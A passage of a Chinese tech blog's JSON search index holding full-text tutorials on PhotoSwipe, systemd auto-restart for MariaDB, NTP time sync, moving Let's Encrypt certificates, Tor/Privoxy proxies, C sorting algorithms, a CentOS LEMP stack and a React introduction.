初始化並開啟 PhotoSwipe var gallery = new PhotoSwipe( pswpElement, PhotoSwipeUI_Default, items, options); gallery.init(); \u0026lt;/script\u0026gt; 執行的結果會類似這樣：\nPhotoSwipe 在初始化時，就要指定每一張圖片的寬度與高度，所以如果每一張圖片的大小不一時，就要事先用其他的工具產生每張圖的大小資訊（例如在 PHP 中檢查圖片大小）。\n","permalink":"https://blog.gtwang.org/web-development/photoswipe-javascript-image-gallery-tutorial/","summary":"\u003cp\u003e本篇介紹如何使用 PhotoSwipe 畫廊函式庫，建立好用的網頁看圖介面，方便電腦與手機使用者在網頁上瀏覽圖片。\u003c/p\u003e\n\u003cp\u003ePhotoSwipe 是一套開放原始碼的 JavaScript 畫廊函式庫，可以讓我們在網頁中建立直覺的看圖介面，方便瀏覽大量的圖片，而且也支援手機的觸控操作，是一套很不錯的圖片展示工具函式庫。\u003c/p\u003e","title":"PhotoSwipe 畫廊函式庫，網頁展示照片"},{"content":"這裡介紹如何在 CentOS Linux 中設定 systemd，讓 MySQL/MariaDB 資料庫在不正常停止時可以自己重新啟動。\n自己用 VPS 架設網站的話，網頁伺服器與資料庫的維護都要自己處理，在 CentOS Linux 中的 MariaDB 資料庫預設在安裝好之後，雖然可以正常使用，但是如果系統因為某些原因（例如記憶體不足）造成 MariaDB 資料庫服務中止時，它是不會自動重新啟動的，也就是說如果 MariaDB 不小心停止，整個網站就停擺了。\n自動重啟 MariaDB 服務 如果要讓 CentOS Linux 中的 MariaDB 服務在停止時，可以自動嘗試重新啟動的話，可以修改一下 systemd 的 MariaDB 啟動設定檔。\nCentOS Linux 7 中 systemd 的 MariaDB 啟動設定檔放在 /etc/systemd/system/multi-user.target.wants/mariadb.service，不過這個檔案是一個連結檔，它連結到系統上預設的設定檔，系統在更新時會將其內容覆蓋掉，所以不建議直接修改這個檔案的內容。\n比較好的作法是在 /etc/systemd/system/mariadb.service.d/ 這個目錄中（若不存在則自己新增），新增一個 restart.conf 設定檔，將設定寫在其中：\n[Service] Restart=always RestartSec=3 這裡我們將 Restart 設定為 always，代表只要服務停止就自動重新啟動，而 RestartSec 則是間隔秒數。\n設定好之後，必須讓 systemd 重新載入設定值：\nsudo systemctl daemon-reload 接著重新啟動 MariaDB 服務：\nsudo systemctl restart mariadb 確認 MariaDB 服務有正常啟動：\nsudo systemctl status mariadb 測試 設定好之後，我們可以手動把 MariaDB 的行程砍掉，模擬 MariaDB 資料庫不正常中止，看看 systemd 會不會自動重新啟動 MariaDB 服務。\n首先找出 MariaDB 服務的行程 ID：\n# 找出 MariaDB 服務的行程 ID ps -ef | grep mariadb 砍掉 MariaDB 服務：\nkill 行程ID 等待三秒鐘之後，再看看 MariaDB 是否有重新啟動：\n# 檢查 MariaDB 是否有重新啟動 ps -ef | grep mariadb 參考資料 serverfault ","permalink":"https://blog.gtwang.org/linux/centos-linux-auto-start-mariadb-using-systemd-after-it-has-crashed/","summary":"\u003cp\u003e這裡介紹如何在 CentOS Linux 中設定 systemd，讓 MySQL/MariaDB 資料庫在不正常停止時可以自己重新啟動。\u003c/p\u003e\n\u003cp\u003e自己用 VPS 架設網站的話，網頁伺服器與資料庫的維護都要自己處理，在 CentOS Linux 中的 MariaDB 資料庫預設在安裝好之後，雖然可以正常使用，但是如果系統因為某些原因（例如記憶體不足）造成 MariaDB 資料庫服務中止時，它是不會自動重新啟動的，也就是說如果 MariaDB 不小心停止，整個網站就停擺了。\u003c/p\u003e","title":"CentOS Linux 設定 MySQL/MariaDB 出問題時自動重新啟動"},{"content":"本篇介紹如何在 Linux 中安裝並設定 NTP 網路校時服務，讓系統自動校正時間。\n系統的時間對於 Linux 伺服器來說是很重要的，如果系統的時間不準確，會連帶產生許多安全性問題。若要讓 Linux 系統維持正確的時間，可以透過 NTP 網路校時的方式來處理，以下是各種 NTP 網路校時的使用方式。\n手動更新系統時間 如果想要以手動更新系統時間，可以執行：\n# 網路校時 sudo ntpdate time.stdtime.gov.tw 13 Apr 11:16:01 ntpdate[19617]: step time server 118.163.81.61 offset 0.515170 sec 這裡所使用的 time.stdtime.gov.tw 這台 NTP 伺服器是由中華電信所提供的，其可用的 NTP 伺服器如下：\ntock.stdtime.gov.tw watch.stdtime.gov.tw time.stdtime.gov.tw clock.stdtime.gov.tw tick.stdtime.gov.tw 校正時間時，任選一台伺服器來使用即可。\n校正完系統時間之後，建議順便將正確的時間寫入 BIOS 的時鐘：\n# 將時間寫入 BIOS sudo hwclock -w 設定 ntpdate 定期自動校時 若要設定讓系統可以定期自動校時，直接將校時的指令寫在 crontab 中即可，編輯 /etc/crontab 設定檔，加入一行：\n# 定時自動網路校時 10 5 * * * root (/usr/sbin/ntpdate time.stdtime.gov.tw \u0026amp;\u0026amp; /sbin/hwclock -w) \u0026amp;\u0026gt; /dev/null 這一行設定會讓系統自動在每天早上 5 點 10 分進行網路校時，並將時間寫入 BIOS 的時鐘。\nNTP 服務 如果想讓 Linux 可以自動校時外，也提供其他台機器校時服務，可以安裝並啟動 ntpd 服務，以下我以 CentOS Linux 為例，示範安裝與設定方式，其他的 Linux 發行版的操作方式則大同小異。\nNTP 服務（ntpd）本身就有自動校時的功能，若啟用 NTP 服務後，就不可以使用 ntpdate 的方式校時，兩者僅能擇一使用。\n安裝 ntp 套件 檢查一下系統是否有安裝 ntp 這個套件：\nyum list installed ntp 如果出現 Error: No matching Packages to list 的訊息，就表示系統上沒有安裝 ntp 套件，請用 yum 安裝：\nsudo yum install ntp 設定 NTP 服務 編輯 /etc/ntp.conf 設定檔，修改一下 NTP 伺服器的設定，將原本的 server 設定註解掉，改為自己指定的 NTP 伺服器：\n# Use public servers from the pool.ntp.org project. # Please consider joining the pool (http://www.pool.ntp.org/join.html). #server 0.centos.pool.ntp.org iburst #server 1.centos.pool.ntp.org iburst #server 2.centos.pool.ntp.org iburst #server 3.centos.pool.ntp.org iburst # 自己指定 NTP 伺服器 server tock.stdtime.gov.tw server watch.stdtime.gov.tw server time.stdtime.gov.tw server clock.stdtime.gov.tw server tick.stdtime.gov.tw 這裡若是不想修改設定檔，直接使用 CentOS Linux 預設的伺服器也可以運作，只是那些預設的 NTP 伺服器距離自己比較遠，校時的時候會花比較久一點，但也是可以正確校時的。\n啟用 NTP 服務 修改好 NTP 的設定檔之後，啟動 ntpd 服務：\n# 啟動 ntpd 服務 sudo systemctl start ntpd 查看一下 ntpd 服務是否正常啟動：\n# 檢查 ntpd 服務狀態 systemctl status ntpd ● ntpd.service - Network Time Service Loaded: loaded (/usr/lib/systemd/system/ntpd.service; disabled; vendor preset: disabled) Active: active (running) since Fri 2018-04-13 11:33:48 CST; 7s ago Process: 31593 ExecStart=/usr/sbin/ntpd -u ntp:ntp $OPTIONS (code=exited, status=0/SUCCESS) Main PID: 31594 (ntpd) CGroup: /system.slice/ntpd.service └─31594 /usr/sbin/ntpd -u ntp:ntp -g [略] 若 Active 欄位顯示 active (running) 就表示 ntpd 有正常在執行。\n確認無誤後，再設定開機自動啟動 ntpd 服務：\n# 設定開機自動啟動 ntpd 服務 sudo systemctl enable ntpd 參考資料 鳥哥的 Linux 私房菜 ","permalink":"https://blog.gtwang.org/linux/linux-ntp-installation-and-configuration-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Linux 中安裝並設定 NTP 網路校時服務，讓系統自動校正時間。\u003c/p\u003e\n\u003cp\u003e系統的時間對於 Linux 伺服器來說是很重要的，如果系統的時間不準確，會連帶產生許多安全性問題。若要讓 Linux 系統維持正確的時間，可以透過 NTP 網路校時的方式來處理，以下是各種 NTP 網路校時的使用方式。\u003c/p\u003e","title":"Linux 設定 NTP 同步系統時間，自動網路校時教學"},{"content":"這裡紀錄合併兩台伺服器上 Let\u0026rsquo;s Encrypt SSL 憑證的步驟。\n最近我用一台新的 Linode VPS 虛擬機器架設了 CentOS 的 LEMP 伺服器，經過測試之後感覺很不錯，接著想要把舊機器上的網站都搬到新機器上，搬動網站除了檔案與 MySQL/MariaDB 資料庫之外，還必須轉移 Let\u0026rsquo;s Encrypt SSL 的憑證，這樣才能讓 HTTPS 加密的網頁正常顯示。\n而由於我的新舊兩台伺服器上都有安裝個別的 Let\u0026rsquo;s Encrypt SSL 憑證（不同網站），若想要把舊伺服器上的 SSL 憑證移動到新伺服器中，就必須要處理 Let\u0026rsquo;s Encrypt 設定檔與 SSL 憑證合併的問題。\n目前 Let\u0026rsquo;s Encrypt 官方的指令工具並沒有提供合併兩台伺服器 Let\u0026rsquo;s Encrypt 設定檔與 SSL 憑證的功能，所以合併的工作需要手動處理。這裡我是依照 Let\u0026rsquo;s Encrypt 官方討論區文章上所建議的作法來合併。\n合併兩台伺服器 Let\u0026rsquo;s Encrypt 設定檔與 SSL 憑證 Let\u0026rsquo;s Encrypt 的 SSL 憑證相關檔案與設定都放在 /etc/letsencrypt 這個目錄之下，在將舊伺服器的 Let\u0026rsquo;s Encrypt SSL 憑證搬到新伺服器時，只要打包以下三個目錄中的資料即可：\n/etc/letsencrypt/archive /etc/letsencrypt/live /etc/letsencrypt/renewal 其中 /etc/letsencrypt/live 底下是連結檔，所以在複製的時候要注意這些連結的正確性。\n建議直接以 root 權限把這三個目錄用 tar 打包起來：\n# 打包 sudo su - cd /etc/letsencrypt tar zcf letsencrypt.tar.gz archive live renewal 然後將這個打包好的壓縮檔複製到新的伺服器上再解開，並放置在對應的位置。\n# 解開 sudo su - tar zxf letsencrypt.tar.gz 基本上來說，只要將這三個目錄下的資料都複製到新伺服器上，合併的工作就完成了，而如果新舊伺服器上的網頁檔案放置路徑不同，記得要檢查 /etc/letsencrypt/renewal 中的設定檔，還有網頁伺服器（如 nginx）的設定檔，修改相關的路徑。\n最後再確認一下自動更新憑證是否可以正常運作：\nsudo certbot renew --dry-run 若可以正常更新憑證的話，這樣就完成了。若之前有設定好 certbot 更新憑證的 crontab，則之後這些移過來的憑證就會跟著自動更新了。\n","permalink":"https://blog.gtwang.org/linux/merging-lets-encrypt-ssl-certificates-from-two-servers/","summary":"\u003cp\u003e這裡紀錄合併兩台伺服器上 Let\u0026rsquo;s Encrypt SSL 憑證的步驟。\u003c/p\u003e\n\u003cp\u003e最近我用一台新的 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode VPS 虛擬機器\u003c/a\u003e架設了 \u003ca href=\"/linux/linode-centos-7-nginx-mysql-mariadb-php-7-installation-notes/\"\u003eCentOS 的 LEMP 伺服器\u003c/a\u003e，經過測試之後感覺很不錯，接著想要把舊機器上的網站都搬到新機器上，搬動網站除了檔案與 MySQL/MariaDB 資料庫之外，還必須轉移 Let\u0026rsquo;s Encrypt SSL 的憑證，這樣才能讓 HTTPS 加密的網頁正常顯示。\u003c/p\u003e","title":"合併兩台伺服器 Let’s Encrypt SSL 憑證教學"},{"content":"這裡介紹如何在 CentOS Linux 中安裝 Tor 與 Privoxy，自己架設匿名網頁代理伺服器。\n先前我們介紹過在 Ubuntu Linux 中安裝 Tor 與 Privoxy 架設匿名網頁代理伺服器的方法，而這裡是改用 CentOS Linux 來架設的步驟，方法大同小異。\n啟用 EPEL 在 CentOS Linux 中若要安裝 Tor 與 Privoxy 套件，必須先啟用 EPEL（若先前已經啟用，就可以跳過）：\n# 啟用 EPEL sudo yum install epel-release 安裝 Tor 使用 yum 安裝 Tor：\n# 安裝 Tor sudo yum install tor 安裝好之後，啟動 Tor 服務：\n# 啟動 Tor 服務 sudo systemctl start tor 查看服務是否正常啟動：\n# 查看 Tor 服務狀態 systemctl status tor ● tor.service - Anonymizing overlay network for TCP Loaded: loaded (/usr/lib/systemd/system/tor.service; disabled; vendor preset: disabled) Active: active (running) since 一 2018-04-09 07:23:27 CST; 3min 14s ago Process: 10701 ExecStartPre=/usr/bin/tor --runasdaemon 0 --defaults-torrc /usr/share/tor/defaults-torrc -f /etc/tor/torrc --verify-config (code=exited, status=0/SUCCESS) Main PID: 10702 (tor) CGroup: /system.slice/tor.service └─10702 /usr/bin/tor --runasdaemon 0 --defaults-torrc /usr/share/t... [略] 若 Active 欄位顯示為 active (running) 就表示 Tor 服務已經正常啟動了。\n確認沒問題之後，設定開機自動啟動 Tor 服務：\n# 設定開機自動啟動 Tor 服務 sudo systemctl enable tor 安裝 Privoxy 使用 yum 安裝 Privoxy：\n# 安裝 Privoxy sudo yum install privoxy 修改 /etc/privoxy/config 這個 Privoxy 的設定檔，將整合 Tor 與 Privoxy 這一行設定的註解拿掉：\n# To chain Privoxy and Tor, both running on the same system, you # would use something like: forward-socks5t / 127.0.0.1:9050 . 整合 Tor 與 Privoxy 之後，我們就可以透過 Privoxy 的 localhost:8118 導向至 Tor 網路中，以匿名的方式上網了。\n修改好 Privoxy 的設定，就可以啟動 Privoxy 服務：\n# 啟動 Privoxy 服務 sudo systemctl start privoxy 檢查 Privoxy 服務狀態：\n# 查看 Privoxy 服務狀態 systemctl status privoxy ● privoxy.service - Privoxy Web Proxy With Advanced Filtering Capabilities Loaded: loaded (/usr/lib/systemd/system/privoxy.service; disabled; vendor preset: disabled) Active: active (running) since 一 2018-04-09 07:31:19 CST; 8min ago Process: 10758 ExecStart=/usr/sbin/privoxy --pidfile /run/privoxy.pid --user privoxy /etc/privoxy/config (code=exited, status=0/SUCCESS) Main PID: 10759 (privoxy) CGroup: /system.slice/privoxy.service └─10759 /usr/sbin/privoxy --pidfile /run/privoxy.pid --user privo... [略] 最後設定開機自動啟動 Privoxy 服務：\n# 設定開機自動啟動 Privoxy 服務 sudo systemctl enable privoxy Privoxy 的設定方法在各種 Linux 發行版中都相同，請直接參考 Ubuntu Linux 安裝 Tor 與 Privoxy 的教學。\n","permalink":"https://blog.gtwang.org/linux/centos-linux-use-tor-and-privoxy-to-build-anonymous-http-proxy/","summary":"\u003cp\u003e這裡介紹如何在 CentOS Linux 中安裝 Tor 與 Privoxy，自己架設匿名網頁代理伺服器。\u003c/p\u003e\n\u003cp\u003e先前我們介紹過\u003ca href=\"/linux/ubuntu-linux-use-tor-and-privoxy-to-build-anonymous-http-proxy/\"\u003e在 Ubuntu Linux 中安裝 Tor 與 Privoxy 架設匿名網頁代理伺服器的方法\u003c/a\u003e，而這裡是改用 CentOS Linux 來架設的步驟，方法大同小異。\u003c/p\u003e","title":"CentOS Linux 使用 Tor 與 Privoxy 架設匿名網頁代理伺服器"},{"content":"這裡提供各種排序演算法的 C 語言實作範例。\n若要對一連串的元素（陣列）做排序的話，有很多種實作方式，常見的排序方法有：泡沫排序法（bubble sort）、插入排序法（insertion sort）、快速排序法（quick sort）等。\n泡沫排序法 泡沫排序法是程式設計入門者常會使用的排序演算法，概念直覺、寫法也很簡單：\n/* 泡沫排序法 */ void bubble_sort(int arr[], int n) { for (int i = 0; i \u0026lt; n; ++i) { for (int j = 0; j \u0026lt; i; ++j) { if (arr[j] \u0026gt; arr[i]) { int temp = arr[j]; arr[j] = arr[i]; arr[i] = temp; } } } } 插入排序法 插入演算法也是一種簡單的排序演算法，以下是它的實做程式碼：\n/* 插入排序法 */ void insertion_sort(int arr[], int n) { for (int i = 0; i \u0026lt; n; i++) { int j = i; while (j \u0026gt; 0 \u0026amp;\u0026amp; arr[j - 1] \u0026gt; arr[j]) { int temp = arr[j]; arr[j] = arr[j - 1]; arr[j - 1] = temp; j--; } } } 快速排序法 快速排序法是效率比較高的排序演算法，以下是簡單的實做：\n/* 快速排序法 */ void quick_sort(int arr[], int first_index, int last_index) { // 宣告索引變數 int pivotIndex, temp, index_a, index_b; if (first_index \u0026lt; last_index) { // 以第一個元素作為基準 pivotIndex = first_index; index_a = first_index; index_b = last_index; // 以遞增方式排序 while (index_a \u0026lt; index_b) { while (arr[index_a] \u0026lt;= arr[pivotIndex] \u0026amp;\u0026amp; index_a \u0026lt; last_index) { index_a++; } while (arr[index_b] \u0026gt; arr[pivotIndex]) { index_b--; } if (index_a \u0026lt; index_b) { // 交換元素 temp = arr[index_a]; arr[index_a] = arr[index_b]; arr[index_b] = temp; } } // 交換基準元素與 index_b 元素 temp = arr[pivotIndex]; arr[pivotIndex] = arr[index_b]; arr[index_b] = temp; // 遞迴呼叫快速排序法函數 quick_sort(arr, first_index, index_b - 1); quick_sort(arr, index_b + 1, last_index); } } 測試 以下是簡單的測試程式碼：\n#include \u0026lt;stdio.h\u0026gt; void output_arr(int arr[], int n) { for (int i = 0; i \u0026lt; n; ++i) { printf(\u0026#34;%d \u0026#34;, arr[i]); } printf(\u0026#34;\\n\u0026#34;); } int main() { int arr1[] = {3,2,1,7,6,5,9,8,7}; int arr2[] = {3,2,1,7,6,5,9,8,7}; int arr3[] = {3,2,1,7,6,5,9,8,7}; bubble_sort(arr1, 9); insertion_sort(arr2, 9); quick_sort(arr3, 0, 8); output_arr(arr1, 9); output_arr(arr2, 9); output_arr(arr3, 9); return 0; } ","permalink":"https://blog.gtwang.org/programming/c-sorting-algorithms-implementation/","summary":"\u003cp\u003e這裡提供各種排序演算法的 C 語言實作範例。\u003c/p\u003e\n\u003cp\u003e若要對一連串的元素（陣列）做排序的話，有很多種實作方式，常見的排序方法有：\u003ca href=\"https://zh.wikipedia.org/wiki/%E5%86%92%E6%B3%A1%E6%8E%92%E5%BA%8F\"\u003e泡沫排序法（bubble sort）\u003c/a\u003e、\u003ca href=\"https://zh.wikipedia.org/wiki/%E6%8F%92%E5%85%A5%E6%8E%92%E5%BA%8F\"\u003e插入排序法（insertion sort）\u003c/a\u003e、\u003ca href=\"https://zh.wikipedia.org/wiki/%E5%BF%AB%E9%80%9F%E6%8E%92%E5%BA%8F\"\u003e快速排序法（quick sort）\u003c/a\u003e等。\u003c/p\u003e","title":"C 語言排序演算法實作整理：泡沫排序、快速排序等"},{"content":"這裡紀錄我在 CentOS Linux 中安裝 Nginx、MySQL/MariaDB 與 RedHat 官方的 PHP 7，打造高效能、高穩定性 LEMP 網頁伺服器的過程。\n最近我使用 Linode VPS 虛擬機器安裝了 CentOS Linux 環境，架設一台使用 PHP 7.1 的 LEMP 網頁伺服器，以下是整個架設流程紀錄。\n本篇是我一邊測試一邊紀錄下來的筆記，所以只寫重點，請參考使用，不要用複製貼上的方式實作。\n我把我在主機上的每個操作步驟都記錄下來給大家參考，請依照自己伺服器的狀況選擇需要執行的步驟。\n修改主機名稱 在 Linode VPS 中剛安裝好的 CentOS Linux 需要先設定一下正確的主機名稱。先用 hostnamectl 指令查詢一下目前的主機名稱：\nhostnamectl Static hostname: localhost.localdomain Transient hostname: li1895-155.members.linode.com Icon name: computer-vm Chassis: vm Machine ID: e0c9675cb81c416ebcfaa6be69b57691 Boot ID: 932741bb182d46119309ae15da825624 Virtualization: kvm Operating System: CentOS Linux 7 (Core) CPE OS Name: cpe:/o:centos:centos:7 Kernel: Linux 4.15.12-x86_64-linode105 Architecture: x86-64 設定正確的主機名稱：\nsudo hostnamectl set-hostname YOUR_HOSTNAME 其中 YOUR_HOSTNAME 要換成自己的主機名稱。設定好之後，再查看一下設定值：\nhostnamectl 建立有 sudo 權限的一般使用者帳號 CentOS Linux 預設只有 root 帳號，所以要建立一個可用 sudo 的一般使用者的帳號，平常使用這個帳號登入操作會比較方便，也比較安全：\n# 新增使用者 adduser USERNAME # 設定密碼 passwd USERNAME # 將 USERNAME 加入 wheel 群組 usermod -aG wheel USERNAME 設定時區 檢查 CentOS Linux 的時間：\ndate 三 3月 28 10:49:30 UTC 2018 如果時間差很多（幾個小時），就代表系統的時區沒設定好。\n使用 timedatectl 列出可選擇的時區：\ntimedatectl list-timezones 設定時區為亞洲的台北：\nsudo timedatectl set-timezone Asia/Taipei 最後再確認一下時間是否正確：\ndate 三 3月 28 18:50:56 CST 2018 加強 SSH 安全性 設定好 SSH 的公開金鑰認證之後，編輯 /etc/ssh/sshd_config 這個 SSH 服務的設定檔，把密碼認證機制關閉，這樣就算密碼被駭客猜出來，也不會被入侵：\nPasswordAuthentication no 禁止 root 管理者從遠端登入：\nPermitRootLogin no 最後可以考慮更換連接埠：\nPort 2222 重新啟動 SSH 服務：\nsudo systemctl status sshd 更新系統套件 由於整個系統是剛裝好的，所以直接用 yum upgrade 更新一下：\nsudo yum upgrade update 與 upgrade 的差異可以參考 StackExchange。\n啟用 EPEL 有許多的套件只有 EPEL 中才有，所以一定要啟用：\nsudo yum install epel-release sudo yum update 安裝 Nginx 使用 yum 安裝 Nginx 伺服器：\nsudo yum install nginx 啟動 Nginx 服務：\nsudo systemctl start nginx 檢查 Nginx 是否正常啟動：\nsudo systemctl status nginx 查看伺服器網頁，正常的話應該可看到這樣的畫面：\n永久啟用 Nginx 服務，讓重新開機後可自動啟動：\nsudo systemctl enable nginx 安裝 MySQL/MariaDB 使用 yum 安裝 MariaDB：\nyum install mariadb-server mariadb 啟動 MariaDB 服務，並設定開機自動啟動：\nsystemctl start mariadb systemctl enable mariadb 強化 MySQL/MariaDB 資料庫設定的安全性：\nmysql_secure_installation 安裝好 MariaDB 資料庫之後，檢查一下 /etc/my.cnf 設定檔，看看 bind-address 是否有指定為 127.0.0.1，如果沒有這行的話，就自己加上去：\n[mysqld] bind-address = 127.0.0.1 若沒有指定 bind-address 的話，MariaDB 預設會傾聽所有的 IP 位址，如果系統又沒有設定防火牆，就會有被攻擊的風險，所以這一行一定要加。\n安裝 PHP 7 若要在 CentOS Linux 中安裝 PHP 7，大致上有兩種主要的方式，一種是使用外部套件庫來直接安裝 PHP 7，但這種方式裝的套件並不是 RedHat 官方提供的，無法保證穩定性；另外一種是使用 CentOS 官方所提供的 SCL 環境來安裝 PHP 7，所有的套件都經過充分的測試，比較不會有系統不穩的問題。\n這裡我們選擇使用 SCL 安裝 RedHat 官方的 PHP 7.1，首先安裝 SCL：\nsudo yum install centos-release-scl 安裝 RedHat 官方提供的 PHP 7.1：\nsudo yum install rh-php71 rh-php71-php-fpm rh-php71-php-mysqlnd 開啟 /etc/opt/rh/rh-php71/php-fpm.d/www.conf 設定檔，確認 listen 的設定：\nlisten = 127.0.0.1:9000 這裡 PHP-FPM 預設是使用 TCP 的方式，這部份要跟 Nginx 的設定吻合。若要改成 socks 方式亦可，只是必須注意要與 Nginx 的設定檔同步修改。\n修改 user 與 group，設定為 nginx：\nuser = nginx group = nginx 啟動 PHP-FPM 服務，並設定開機自動啟動：\nsudo systemctl start rh-php71-php-fpm sudo systemctl enable rh-php71-php-fpm 編輯 /etc/opt/rh/rh-php71/php.ini 設定檔，修正 cgi.fix_pathinfo 漏洞，將 cgi.fix_pathinfo 設為 0：\ncgi.fix_pathinfo=0 設定 Nginx 與 PHP 7 設定 /etc/nginx/nginx.conf 設定檔，內容大致如下：\nserver { listen 80; server_name your_server_name; # note that these lines are originally from the \u0026#34;location /\u0026#34; block root /usr/share/nginx/html; index index.php index.html index.htm; location / { try_files $uri $uri/ =404; } error_page 404 /404.html; error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ .php$ { try_files $uri =404; #fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 其中 server_name 請自行修改，而 fastcgi_pass 要與 PHP-FPM 的設定吻合。\n所有設定都調整好之後，重新啟動 PHP-FPM 與 Nginx 服務：\nsudo systemctl restart rh-php71-php-fpm sudo systemctl restart nginx 關於 Nginx 與 PHP 7 的設定方法，可以參考簡書。\n測試 PHP 7 使用 phpinfo 寫一個測試的 PHP 指令稿，放在 /usr/share/nginx/html 目錄下測試看看 PHP 7 是否有正常執行：\n\u0026lt;?php phpinfo(); ?\u0026gt; 設置 Nginx Server Block 確認 PHP 7 與 Nginx 設置無誤後，參考 DigitalOcean 的文件，設置 Nginx 的 server block，先建立兩個目錄：\nsudo mkdir /etc/nginx/sites-available sudo mkdir /etc/nginx/sites-enabled 在 /etc/nginx/nginx.conf 中的 http {} 區塊結束前，加上兩行：\ninclude /etc/nginx/sites-enabled/*.conf; server_names_hash_bucket_size 64; 這樣就可以將所有的網站設定檔放在 sites-available 目錄中，要啟用的設定檔則以連結的方式放在 sites-enabled 目錄，這樣會比較好管理。\n設定 HTTPS 加密網頁 安裝 certbot：\nsudo yum install certbot-nginx 取得憑證：\nsudo certbot --nginx 測試更新憑證：\nsudo certbot renew --dry-run 若測試更新憑證沒問題，則加入 crontab，讓系統定自動定時更新憑證：\n# certbot 51 2 * * 0 certbot renew --quiet --no-self-upgrade --post-hook \u0026#34;/bin/systemctl reload nginx.service\u0026#34; 防火牆 正式服務的機器最好開啟防火牆，這部份請參考 CentOS Linux 的防火牆設置教學。\n","permalink":"https://blog.gtwang.org/linux/linode-centos-7-nginx-mysql-mariadb-php-7-installation-notes/","summary":"\u003cp\u003e這裡紀錄我在 CentOS Linux 中安裝 Nginx、MySQL/MariaDB 與 RedHat 官方的 PHP 7，打造高效能、高穩定性 LEMP 網頁伺服器的過程。\u003c/p\u003e\n\u003cp\u003e最近我使用 \u003ca href=\"https://www.linode.com/lp/refer/?r=5b74c1f208c14942572bb1ba1f0687285c81a6b3\"\u003eLinode VPS 虛擬機器\u003c/a\u003e安裝了 CentOS Linux 環境，架設一台使用 PHP 7.1 的 LEMP 網頁伺服器，以下是整個架設流程紀錄。\u003c/p\u003e","title":"CentOS 7 安裝 Nginx、MySQL/MariaDB、PHP7，架設 LEMP 網頁伺服器筆記"},{"content":"本篇是 React 這套 JavaScript 函式庫的入門教學，介紹如何使用 React 開發互動式的網頁應用程式。\nReact 是 facebook 官方所維護的開放原始碼 JavaScript 函式庫，可以降低互動式網頁應用程式開發難度，自動處理各種複雜 UI 組件與資料間的連動關係，改善應用程式執行效能。\n學習用 React 範本 對於初學者說，建議可以使用以下這份 React 的學習專用範本，直接將這段 HTML 原始碼貼在自己的編輯器中，儲存成 HTML 網頁檔，以瀏覽器打開後即可看到 React 的 hello world 程式執行的結果。\n\u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34; /\u0026gt; \u0026lt;title\u0026gt;Hello World\u0026lt;/title\u0026gt; \u0026lt;!-- 引入 React --\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/react@16/umd/react.development.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/react-dom@16/umd/react-dom.development.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;!-- 引入 Babel --\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/babel-standalone@6.15.0/babel.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div id=\u0026#34;root\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;script type=\u0026#34;text/babel\u0026#34;\u0026gt; // React 的 JSX 程式碼 ReactDOM.render( \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt;, document.getElementById(\u0026#39;root\u0026#39;) ); \u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 在接下來的教學內容都可以使用這個 HTML 網頁檔來執行。\nReact 標準開發環境 使用單一 HTML 範本檔來學習 React 是很方便的作法，但這種方式的程式執行效率較低，不適合用於正式的專案。\n若要開發標準的 React 專案，建議使用 create-react-app 這個工具來建立新專案，第一次使用之前請先安裝：\n# 安裝 create-react-app npm install -g create-react-app 接著建立新 React 專案：\n# 建立新 React 專案 create-react-app my-app 若使用 npm 5.2 以上的版本，可以改用 npx 直接呼叫 create-react-app 來建立新專案：\n# 改用 npx（免安裝 create-react-app） npx create-react-app my-app 建立好新的 React 專案之後，進入專案目錄，啟動開發用伺服器，即可開始撰寫 React 的程式：\n# 進入專案目錄 cd my-app # 啟動開發用伺服器 npm start 若要產生可以佈署出去的專案成品，可以執行：\n# 建置專案 npm run build 其餘更詳細的專案操作，請直接參考 React 的官方文件。\nJSX 簡介 JSX 是一種 JavaScript 的擴充語言，加入了一些 HTML 標籤的語法，下面這一行就是 JSX 典型的程式碼：\nconst element = \u0026lt;h1\u0026gt;Hello, world!\u0026lt;/h1\u0026gt;; 在多數的應用程式中，UI 都會與資料、事件或其他 UI 有關係，因此 React 架構在設計上就將 HTML 標籤與 JavaScript 控制邏輯合併，以 JSX 來描述 UI 的外觀與運作邏輯，打造出 React 的 UI 組件（components），再用這些 UI 組件堆疊出個應用程式。\n開發 React 應用程式時，不一定要使用 JSX 語言，不過通常使用 JSX 會比較方便。\nJSX 內嵌 JavaScript 我們可以在 JSX 中以大括號內嵌任何的 JavaScript 運算，例如：\n// 普通的 JavaScript function formatName(user) { return user.firstName + \u0026#39; \u0026#39; + user.lastName; } const user = { firstName: \u0026#39;Harper\u0026#39;, lastName: \u0026#39;Perez\u0026#39; }; // JSX 內嵌 JavaScript const element = ( \u0026lt;h1\u0026gt; Hello, {formatName(user)}! \u0026lt;/h1\u0026gt; ); // 普通的 JavaScript ReactDOM.render( element, document.getElementById(\u0026#39;root\u0026#39;) ); 在這裡我們將 JSX 內的標籤分成多行來寫（也可以合併為一行），這種狀況建議在頭尾加上小括號，避免不小心造成解析錯誤。\nJSX 與 JavaScript 事實上 JSX 的程式碼在經過編譯之後，會轉為普通的 JavaScript 函數來執行，產生特別的 JavaScript 物件，所以 JSX 可以放在判斷式、迴圈中，也可以指定給 JavaScript 的變數、作為函數的參數或傳回值等：\n// JSX 與 JavaScript 混合使用 function getGreeting(user) { if (user) { return \u0026lt;h1\u0026gt;Hello, {formatName(user)}!\u0026lt;/h1\u0026gt;; } return \u0026lt;h1\u0026gt;Hello, Stranger.\u0026lt;/h1\u0026gt;; } JSX 指定屬性值 JSX 